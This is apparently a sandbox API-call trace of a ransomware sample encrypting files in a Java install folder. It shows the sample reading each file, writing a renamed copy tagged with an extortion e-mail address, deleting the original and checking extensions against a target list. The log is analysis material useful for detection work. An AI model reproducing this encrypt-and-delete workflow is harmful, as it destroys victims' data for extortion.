	[0047.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 0x20
	[0047.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.418] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0047.418] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.418] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.418] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0047.418] GetLastError () returned 0x0
	[0047.418] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x3bac, lpOverlapped=0x0) returned 1
	[0047.664] WriteFile (in: hFile=0x398, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x3bb0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x3bb0, lpOverlapped=0x0) returned 1
	[0047.665] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.665] WriteFile (in: hFile=0x398, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xee, lpOverlapped=0x0) returned 1
	[0047.665] SetEndOfFile (hFile=0x398) returned 1
	[0047.665] CloseHandle (hObject=0x398) returned 1
	[0047.666] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.666] SetEndOfFile (hFile=0x394) returned 1
	[0047.667] CloseHandle (hObject=0x394) returned 1
	[0047.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.667] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 1
	[0047.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0047.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0047.668] lstrlenW (lpString=".doc") returned 4
	[0047.668] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.668] lstrlenW (lpString=".docx") returned 5
	[0047.668] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1
	[0047.668] lstrlenW (lpString=".pdf") returned 4
	[0047.668] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.668] lstrlenW (lpString=".xls") returned 4
	[0047.668] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.668] lstrlenW (lpString=".xlsx") returned 5
	[0047.668] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1
	[0047.668] lstrlenW (lpString=".ppt") returned 4
	[0047.668] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0047.668] lstrlenW (lpString=".zip") returned 4
	[0047.668] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.668] lstrlenW (lpString=".rar") returned 4
	[0047.668] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.668] lstrlenW (lpString=".bz2") returned 4
	[0047.668] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.668] lstrlenW (lpString=".7z") returned 3
	[0047.668] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0047.668] lstrlenW (lpString=".dbf") returned 4
	[0047.668] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0047.668] lstrlenW (lpString=".1cd") returned 4
	[0047.668] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0047.668] lstrlenW (lpString=".jpg") returned 4
	[0047.668] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0047.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0047.668] lstrlenW (lpString=".doc") returned 4
	[0047.668] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.669] lstrlenW (lpString=".docx") returned 5
	[0047.669] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1
	[0047.669] lstrlenW (lpString=".pdf") returned 4
	[0047.669] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.669] lstrlenW (lpString=".xls") returned 4
	[0047.669] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.669] lstrlenW (lpString=".xlsx") returned 5
	[0047.669] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1
	[0047.669] lstrlenW (lpString=".ppt") returned 4
	[0047.669] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0047.669] lstrlenW (lpString=".zip") returned 4
	[0047.669] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.669] lstrlenW (lpString=".rar") returned 4
	[0047.669] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.669] lstrlenW (lpString=".bz2") returned 4
	[0047.669] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.669] lstrlenW (lpString=".7z") returned 3
	[0047.669] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0047.669] lstrlenW (lpString=".dbf") returned 4
	[0047.669] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0047.669] lstrlenW (lpString=".1cd") returned 4
	[0047.669] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0047.669] lstrlenW (lpString=".jpg") returned 4
	[0047.669] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.669] lstrcmpiW (lpString1=".txt", lpString2=".yG") returned -1
	[0047.669] lstrlenW (lpString="README.txt") returned 10
	[0047.669] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0048.140] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=46) returned 1
	[0048.140] CloseHandle (hObject=0x380) returned 1
	[0048.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20
	[0048.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0048.140] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0048.140] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.140] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.140] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0048.140] GetLastError () returned 0x0
	[0048.140] ReadFile (in: hFile=0x380, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x2e, lpOverlapped=0x0) returned 1
	[0048.141] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x30, lpOverlapped=0x0) returned 1
	[0048.142] ReadFile (in: hFile=0x380, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0048.142] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xe8, lpOverlapped=0x0) returned 1
	[0048.142] SetEndOfFile (hFile=0x2e0) returned 1
	[0048.142] CloseHandle (hObject=0x2e0) returned 1
	[0048.143] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.143] SetEndOfFile (hFile=0x380) returned 1
	[0048.144] CloseHandle (hObject=0x380) returned 1
	[0048.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0048.144] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 1
	[0048.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0048.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0048.144] lstrlenW (lpString=".doc") returned 4
	[0048.144] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0048.144] lstrlenW (lpString=".docx") returned 5
	[0048.144] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1
	[0048.144] lstrlenW (lpString=".pdf") returned 4
	[0048.144] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0048.144] lstrlenW (lpString=".xls") returned 4
	[0048.144] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0048.144] lstrlenW (lpString=".xlsx") returned 5
	[0048.144] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1
	[0048.144] lstrlenW (lpString=".ppt") returned 4
	[0048.144] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0048.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0048.144] lstrlenW (lpString=".zip") returned 4
	[0048.144] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0048.144] lstrlenW (lpString=".rar") returned 4
	[0048.144] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0048.144] lstrlenW (lpString=".bz2") returned 4
	[0048.145] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0048.145] lstrlenW (lpString=".7z") returned 3
	[0048.145] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0048.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0048.145] lstrlenW (lpString=".dbf") returned 4
	[0048.145] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0048.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0048.145] lstrlenW (lpString=".1cd") returned 4
	[0048.145] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0048.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0048.145] lstrlenW (lpString=".jpg") returned 4
	[0048.145] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0048.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0048.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0048.145] lstrlenW (lpString=".doc") returned 4
	[0048.145] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0048.145] lstrlenW (lpString=".docx") returned 5
	[0048.145] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1
	[0048.145] lstrlenW (lpString=".pdf") returned 4
	[0048.145] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0048.145] lstrlenW (lpString=".xls") returned 4
	[0048.145] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0048.145] lstrlenW (lpString=".xlsx") returned 5
	[0048.145] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1
	[0048.145] lstrlenW (lpString=".ppt") returned 4
	[0048.145] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0048.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0048.145] lstrlenW (lpString=".zip") returned 4
	[0048.145] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0048.145] lstrlenW (lpString=".rar") returned 4
	[0048.145] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0048.145] lstrlenW (lpString=".bz2") returned 4
	[0048.145] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0048.145] lstrlenW (lpString=".7z") returned 3
	[0048.145] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0048.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0048.145] lstrlenW (lpString=".dbf") returned 4
	[0048.146] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0048.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0048.146] lstrlenW (lpString=".1cd") returned 4
	[0048.146] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0048.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0048.146] lstrlenW (lpString=".jpg") returned 4
	[0048.146] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0048.146] lstrcmpiW (lpString1=".txt", lpString2=".yG") returned -1
	[0048.146] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27
	[0048.146] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0048.146] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=145180) returned 1
	[0048.146] CloseHandle (hObject=0x380) returned 1
	[0048.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20
	[0048.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0048.146] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0048.146] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.146] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.147] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0048.147] GetLastError () returned 0x0
	[0048.147] ReadFile (in: hFile=0x380, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x2371c, lpOverlapped=0x0) returned 1
	[0048.191] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x23720, lpOverlapped=0x0) returned 1
	[0048.194] ReadFile (in: hFile=0x380, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0048.194] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x10a, lpOverlapped=0x0) returned 1
	[0048.194] SetEndOfFile (hFile=0x2e0) returned 1
	[0048.194] CloseHandle (hObject=0x2e0) returned 1
	[0048.197] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.197] SetEndOfFile (hFile=0x380) returned 1
	[0048.198] CloseHandle (hObject=0x380) returned 1
	[0048.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0048.199] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 1
	[0048.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0048.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0048.199] lstrlenW (lpString=".doc") returned 4
	[0048.199] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0048.199] lstrlenW (lpString=".docx") returned 5
	[0048.199] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1
	[0048.199] lstrlenW (lpString=".pdf") returned 4
	[0048.199] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0048.199] lstrlenW (lpString=".xls") returned 4
	[0048.199] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0048.199] lstrlenW (lpString=".xlsx") returned 5
	[0048.199] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1
	[0048.199] lstrlenW (lpString=".ppt") returned 4
	[0048.199] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0048.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0048.199] lstrlenW (lpString=".zip") returned 4
	[0048.199] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0048.199] lstrlenW (lpString=".rar") returned 4
	[0048.199] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0048.199] lstrlenW (lpString=".bz2") returned 4
	[0048.199] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0048.199] lstrlenW (lpString=".7z") returned 3
	[0048.200] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0048.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0048.200] lstrlenW (lpString=".dbf") returned 4
	[0048.200] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0048.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0048.200] lstrlenW (lpString=".1cd") returned 4
	[0048.200] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0048.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0048.200] lstrlenW (lpString=".jpg") returned 4
	[0048.200] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0048.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0048.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0048.200] lstrlenW (lpString=".doc") returned 4
	[0048.200] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0048.200] lstrlenW (lpString=".docx") returned 5
	[0048.200] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1
	[0048.200] lstrlenW (lpString=".pdf") returned 4
	[0048.200] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0048.200] lstrlenW (lpString=".xls") returned 4
	[0048.200] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0048.200] lstrlenW (lpString=".xlsx") returned 5
	[0048.200] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1
	[0048.200] lstrlenW (lpString=".ppt") returned 4
	[0048.200] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0048.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0048.200] lstrlenW (lpString=".zip") returned 4
	[0048.200] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0048.200] lstrlenW (lpString=".rar") returned 4
	[0048.200] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0048.200] lstrlenW (lpString=".bz2") returned 4
	[0048.200] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0048.200] lstrlenW (lpString=".7z") returned 3
	[0048.200] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0048.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0048.201] lstrlenW (lpString=".dbf") returned 4
	[0048.201] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0048.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0048.201] lstrlenW (lpString=".1cd") returned 4
	[0048.201] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0048.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0048.201] lstrlenW (lpString=".jpg") returned 4
	[0048.201] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0048.201] lstrcmpiW (lpString1=".html", lpString2=".yG") returned -1
	[0048.201] lstrlenW (lpString="Welcome.html") returned 12
	[0048.201] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0048.201] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=955) returned 1
	[0048.201] CloseHandle (hObject=0x380) returned 1
	[0048.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20
	[0048.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0048.201] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0048.201] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.202] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
